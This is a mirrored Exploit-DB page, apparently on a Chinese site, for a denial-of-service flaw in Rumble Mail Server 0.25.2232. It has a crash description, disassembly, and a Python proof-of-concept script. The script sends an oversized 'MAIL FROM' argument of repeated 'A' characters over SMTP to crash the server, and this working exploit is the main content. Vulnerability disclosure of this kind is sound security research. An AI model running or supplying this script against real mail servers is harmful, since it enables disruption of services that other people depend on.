Rumble 0.25.2232 – Denial of Service - 体验盒子

作者： AutoSec Tools

日期： 2011-03-29

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/17070/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

# ------------------------------------------------------------------------

# Software................Rumble 0.25.2232

# Vulnerability...........Denial Of Service

# Threat Level............Serious (3/5)

# Download................http://humbedooh.users.sourceforge.net/

# Discovery Date..........3/27/2011

# Tested On...............Windows Vista + XAMPP

# ------------------------------------------------------------------------

# Author..................AutoSec Tools

# Site....................http://www.autosectools.com/

# Email...................John Leitch <john@autosectools.com>

# ------------------------------------------------------------------------

#

# --Description--

#

# A denial of service vulnerability can be exploited to crash Rumble

# Mail Server v0.25.2231.

#

# rumble_win32.exe: The instruction at 0x96CEEB referenced memory at

# 0x41414149. The memory could not be read (0x0096CEEB -> 41414149)

#

# Disassembly:

#

# .text:0096CEEB mov edx, [ecx+8]

# .text:0096CEEE mov [ebp-8], edx

# .text:0096CEF1 mov eax, [ebp-8]

# .text:0096CEF4 mov ecx, [eax]

# .text:0096CEF6 mov [ebp-0Ch], ecx

# .text:0096CEF9 mov edx, [ebp+0Ch]

# .text:0096CEFC mov [ebp-10h], edx

# .text:0096CEFF

# .text:0096CEFF loc_96CEFF: ; CODE XREF: .text:0096CF31

# .text:0096CEFF mov eax, [ebp-10h]

# .text:0096CF02 mov cl, [eax]

# .text:0096CF04 mov [ebp-11h], cl

# .text:0096CF07 mov edx, [ebp-0Ch]

# .text:0096CF0A cmp cl, [edx]

# .text:0096CF0C jnz short loc_96CF3C

#

# --PoC--

import socket

host = 'localhost'

tld = 'mydomain.tld'

port = 25

def crash():

for i in range(0, 16):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

s.settimeout(32)

junk = 'A' * 4096

print s.recv(8192)

s.send('HELO ' + tld + '\r\n')

print s.recv(8192)

s.send('MAIL FROM ' + junk + '\r\n')

print s.recv(8192)

s.close()

crash()